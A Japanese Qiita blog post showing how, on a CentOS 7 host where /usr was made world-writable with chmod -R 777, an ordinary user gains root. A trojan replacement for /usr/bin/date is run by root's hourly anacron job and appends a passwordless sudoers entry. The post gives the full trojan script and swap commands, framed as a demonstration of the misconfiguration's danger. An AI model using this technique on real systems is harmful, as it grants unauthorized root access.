LoginSignup
166
111

More than 3 years have passed since last update.

chmod -R 777 /usr を実行したCentOS7で、一般ユーザがroot権限を得られることを確認する

Last updated at Posted at 2021-04-08

Teratailで、suコマンドでrootログインできないという質問があり、てっきり/etc/pam.d/suまわりの設定かと思いきや、そうではなく、自己解決で説明された原因に一同驚愕ということがありました。

/usr/share/nginx/html
に権限を追加したくて、横着して
chmod 777 -R /usr
とコマンド実行した記憶があります。
CentOS7、suコマンドでrootにログインできない、パスワードは絶対あっているのになぜ?

/usr 以下のパーミッションをすべて777に設定したら、逆に動くべきものが動かなくなる例なのですが、これをやるとセキュリティ上問題であることは言うまでもありません。究極的には、一般ユーザがroot権限とれるかという疑問が出てきますよね。

「かなり簡単」と書いてしまいましたが、どうでしょうか。
Twitterでは以下のようなアイデアもいただきましたが…

chmod -R 777 した時点でSUIDビットがクリアされてしまうので、これはできないのですよね。

私が思いついた方法は、/usr/bin あるいは /usr/sbin 以下のコマンドを改ざんできるので、rootで実行されることが確実なコマンドにバックドアを仕掛けておくというものです。ここまでは、まぁ「かなり簡単」な範疇かと思いますが、現実に試すとなると、Linux力が問われそうです。
Teratailの元々の質問では、OSとしてCentOS7が使われていたので、以下、CentOSで /usr以下がパーミッション777になっている状況でrootを取るというのをやってみました。

まずは現状調査で、/usr以下のパーミッションを表示しますが、確かに777になっています。実行ユーザはaliceとしています。

$ whoami
alice
$ pwd
/usr
$ ls -l
total 144
drwxrwxrwx.  2 root root 24576 Apr  7 15:10 bin
drwxrwxrwx.  2 root root     6 Apr 11  2018 etc
drwxrwxrwx.  2 root root     6 Apr 11  2018 games
drwxrwxrwx. 45 root root  8192 Jan 15 15:01 include
drwxrwxrwx. 29 root root  4096 Jan 15 15:02 lib
drwxrwxrwx. 52 root root 32768 Jan 15 15:04 lib64
drwxrwxrwx. 23 root root  4096 Jan 15 15:02 libexec
drwxrwxrwx. 12 root root  4096 Apr 11  2018 local
drwxrwxrwx.  2 root root 16384 Jan 15 15:03 sbin
drwxrwxrwx. 99 root root  4096 Jan 15 15:03 share
drwxrwxrwx.  4 root root    32 Apr 11  2018 src
lrwxrwxrwx.  1 root root    10 Aug 14  2018 tmp -> ../var/tmp
$

CentOSでは、cronで1時間毎に起動されるスクリプトがあるので、これを利用してみましょう。設定は以下のようになっています。

$ cd /etc/cron.d
$ ls
0hourly
$ cat 0hourly
# Run the hourly jobs
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
01 * * * * root run-parts /etc/cron.hourly
$

毎時1分に /etc/cron.hourly 下のスクリプトをすべて実行する設定になっています。中身はどうでしょうか。

$ cd /etc/cron.hourly/
$ ls
0anacron
$ cat 0anacron
#!/bin/sh
# Check whether 0anacron was run today already
if test -r /var/spool/anacron/cron.daily; then
    day=`cat /var/spool/anacron/cron.daily`
fi
if [ `date +%Y%m%d` = "$day" ]; then
    exit 0;
fi

# Do not run jobs when on battery power
if test -x /usr/bin/on_ac_power; then
    /usr/bin/on_ac_power >/dev/null 2>&1
    if test $? -eq 1; then
    exit 0
    fi
fi
/usr/sbin/anacron -s
$

/etc/cron.hourly/0anacron が1時間おきに起動される設定になっています。0anacron で必ず実行されるコマンドはtestとdateですが、testは/bin/shの内部コマンドなので改ざんはできません(/bin/sh は/usr下にないので改ざんできない)。なので、dateコマンドの偽物を作りましょう。
本物のdateコマンドをdate.orgとリネームしておいて、偽dateコマンドとして下記を用意します。

#!/bin/sh
if [ $(id -u) = 0 ]; then                 # root権限の場合
 cd /usr/bin
 chmod 644 /usr/libexec/sudo/sudoers.so   # sudo を実行するための設定
 chmod 4111 sudo                          # sudo を実行するための設定
 echo "alice ALL=NOPASSWD: ALL" >> /etc/sudoers   # aliceがパスワードなしにsudoできる設定
 mv -f date.org date                      # 設定が終わったのでdateコマンドを戻しておく
 exec /usr/bin/date "$@"                  # 元のdateコマンドを実行
else
 exec /usr/bin/date.org "$@"              # root権限がない場合は単に元のdateコマンドを実行
fi

sudo関係のファイルをchmodしていますが、これをしないと下記のようなエラーになります。

$ sudo whoami
sudo: /usr/bin/sudo must be owned by uid 0 and have the setuid bit set
$

先の偽dateコマンドを/home/alice/date に設置した状態で、0anacron が実行される直前(でなくても大丈夫ですが)に下記のスクリプトを実行します。

#!/bin/sh
cd /usr/bin
mv date date.org   # 元のdateコマンドをリネーム
cp ~/date .        # /home/alice/dateを/usr/binに設置

実行後は下記となります。dateコマンドのオーナーがaliceというのが怪しいですね。なので、上記を実行するのは0anacron が実行される直前がよいでしょう(dateをリネームせず退避して上書きすればオーナーの問題は解消できますが、今回はやめときました)。

$ pwd
/usr/bin
$ ls -l date*
-rwxr-xr-x 1 alice alice   319 Apr  8 11:59 date
-rwxrwxrwx 1 root  root  62200 Nov 17 07:24 date.org
$

0anacronが動くと、aliceがsudoできる環境が整います。試してみましょう。

$ whoami
alice
$ sudo whoami  # sudo を試す(パスワードは要求されない)
root
$

ちゃんとrootになれていますね。
/usr 以下のdateコマンドについては下記の通り戻っています。

$ ls -l date*
-rwxrwxrwx 1 root root 62200 Nov 17 07:24 date
$

aliceがsudoコマンドを使ったログは/var/log/secureに残っています。

$ sudo tail /var/log/secure
...
Apr  8 12:01:42 centos7-777 sudo:   alice : TTY=pts/1 ; PWD=/home/alice ; USER=root ; COMMAND=/bin/whoami
Apr  8 12:01:42 centos7-777 sudo: pam_unix(sudo:session): session opened for user root by alice(uid=0)
Apr  8 12:01:42 centos7-777 sudo: pam_unix(sudo:session): session closed for user root
...

このようなログが残ることは、sudoによって管理者権限のコマンドを実行することが好ましい理由の一つです。一方、本格的な攻撃者は、上記のような痕跡を隠す行動をとりますが、今回はそこまではこだわらないことにします。

ということで、/usr以下のパーミッションが777になると一般ユーザがroot権限を取れることを確認しました。もっと良い方法や、別のアプローチをご存知のかたはぜひ教えて下さい。

166
111
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
166
111